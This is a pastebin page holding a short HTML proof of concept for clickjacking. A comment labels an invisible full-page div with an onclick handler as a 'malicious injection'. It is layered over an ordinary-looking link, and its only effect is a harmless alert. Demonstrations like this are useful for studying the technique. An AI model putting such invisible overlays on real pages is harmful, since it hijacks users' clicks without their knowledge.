Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 7th, 2012  |  syntax: None  |  size: 0.74 KB  |  hits: 17  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <html>
  2. <head>
  3.         <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  4.         <title>CSS3 ClickJacking Vulnerability</title>
  5.         <style type="text/css">
  6.                 *{ color: #FFFFFF; margin: 0 auto; text-align: center;}
  7.                 html{width: 100%; height: 100%; }
  8.                 #content{ background-color: #000000; padding: 20px;}
  9.         </style>
  10. </head>
  11. <body>
  12.         <!-- MALICIOUS INJECTION -->
  13.         <div id="full_clickjack" onclick="alert('clickjacked');" style="position: absolute; width: 100%; height: 100%; background-color: #000000; filter:alpha(opacity=0); opacity: 0; -moz-opacity:0; -khtml-opacity: 0;"></div>
  14.         <!-- NORMAL CONTENT -->
  15.         <div id="content">
  16.                 <h1>CSS3 Clickjacking Vulnerability</h1>
  17.                 <a href="http://www.google.com">GOOGLE.COM</a>
  18.         </div>
  19. </body>
  20. </html>